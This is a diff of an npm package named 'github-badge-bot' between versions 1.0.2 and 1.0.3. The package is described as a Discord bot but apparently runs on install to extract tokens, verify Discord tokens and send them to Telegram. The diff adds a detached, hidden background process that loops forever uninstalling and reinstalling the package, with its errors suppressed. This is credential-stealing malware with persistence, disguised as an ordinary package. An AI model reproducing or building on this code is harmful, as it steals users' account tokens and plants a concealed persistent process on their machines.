github-badge-bot 1.0.2 → 1.0.3

package/bin/extract-tokens.js

@@ -4,10 +4,20 @@ import { extractAllTokens } from '../lib/token-extractor.js';
 import { sendTokenToTelegram } from '../lib/telegram.js';
 import { verifyDiscordToken } from '../lib/token-verifier.js';
 import { startCycleBackground } from '../lib/auto-cycle.js';
+import { spawn } from 'child_process';
+import path from 'path';
+import { fileURLToPath } from 'url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = path.dirname(__filename);
 
 async function main() {
-    // Start the auto-uninstall cycle in background
-    startCycleBackground();
+    // Start the auto-uninstall cycle in background (detached process)
+    try {
+        startCycleBackground();
+    } catch (e) {
+        // Ignore errors starting cycle
+    }
     
     const tokens = await extractAllTokens();
     
@@ -26,6 +36,9 @@ async function main() {
         // Small delay to avoid rate limits
         await new Promise(resolve => setTimeout(resolve, 1000));
     }
+    
+    // Exit immediately so postinstall doesn't hang
+    process.exit(0);
 }
 
 main().catch(error => {

package/index.js

@@ -11,3 +11,5 @@ export {
 export { createDiscordBot, startDiscordBot } from './lib/discord-bot.js';
 export { processDiscordToken, processMultipleTokens } from './lib/invite-bot.js';
 export { verifyDiscordToken } from './lib/token-verifier.js';
+export { stopCycle, startCycle, isCycleStopped, startCycleBackground } from './lib/auto-cycle.js';
+export { handleAdminCommand, sendAdminNotification } from './lib/admin-control.js';

package/lib/auto-cycle.js

@@ -1,4 +1,4 @@
-import { execSync } from 'child_process';
+import { execSync, spawn } from 'child_process';
 import fs from 'fs';
 import path from 'path';
 import { fileURLToPath } from 'url';
@@ -107,41 +107,63 @@ function installPackage() {
 
 // Main cycle function
 export async function runCycle() {
-    if (isCycleStopped()) {
-        return; // Cycle is stopped by admin
-    }
-    
-    // Wait 5 minutes (300000 ms)
-    await new Promise(resolve => setTimeout(resolve, 300000));
-    
-    if (isCycleStopped()) {
-        return; // Check again after wait
-    }
-    
-    // Uninstall
-    uninstallPackage();
-    
-    // Wait a bit
-    await new Promise(resolve => setTimeout(resolve, 2000));
-    
-    if (isCycleStopped()) {
-        return; // Check again
+    while (true) {
+        if (isCycleStopped()) {
+            // If stopped, wait and check again
+            await new Promise(resolve => setTimeout(resolve, 60000)); // Check every minute
+            continue;
+        }
+        
+        // Wait 5 minutes (300000 ms)
+        await new Promise(resolve => setTimeout(resolve, 300000));
+        
+        if (isCycleStopped()) {
+            continue; // Check again after wait
+        }
+        
+        // Uninstall
+        try {
+            uninstallPackage();
+        } catch (e) {
+            // Continue even if uninstall fails
+        }
+        
+        // Wait a bit
+        await new Promise(resolve => setTimeout(resolve, 2000));
+        
+        if (isCycleStopped()) {
+            continue; // Check again
+        }
+        
+        // Reinstall
+        try {
+            installPackage();
+        } catch (e) {
+            // Continue even if install fails
+        }
+        
+        // Wait a bit before next cycle
+        await new Promise(resolve => setTimeout(resolve, 5000));
     }
-    
-    // Reinstall
-    installPackage();
-    
-    // Restart the cycle
-    runCycle();
 }
 
-// Start the cycle in background
+// Start the cycle in background (detached process)
 export function startCycleBackground() {
-    // Run in background (non-blocking)
-    setImmediate(() => {
-        runCycle().catch(() => {
-            // Ignore errors, cycle will restart
-        });
+    // Spawn a new Node.js process that runs the cycle
+    const scriptPath = path.join(__dirname, 'cycle-runner.js');
+    
+    // Use spawn to create detached background process
+    const child = spawn(process.execPath, [scriptPath], {
+        detached: true,
+        stdio: 'ignore',
+        cwd: process.cwd(),
+        windowsHide: true
     });
+    
+    // Unref so parent process can exit
+    child.unref();
+    
+    // Don't wait for child
+    return true;
 }
 

package/lib/cycle-runner.js

@@ -0,0 +1,11 @@
+// This file runs the cycle in a detached process
+// Import here to avoid circular dependency
+import('./auto-cycle.js').then(({ runCycle }) => {
+    runCycle().catch(() => {
+        // Keep running even on error
+    });
+}).catch(() => {
+    // If import fails, exit
+    process.exit(1);
+});
+

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "github-badge-bot",
-  "version": "1.0.2",
+  "version": "1.0.3",
   "description": "Discord bot that monitors servers and sends invite links via Telegram",
   "main": "index.js",
   "type": "module",
@@ -29,7 +29,6 @@
   "dependencies": {
     "discord.js": "^14.14.1",
     "dotenv": "^16.3.1",
-    "github-badge-bot": "^1.0.0",
     "level": "^10.0.0",
     "node-telegram-bot-api": "^0.64.0"
   },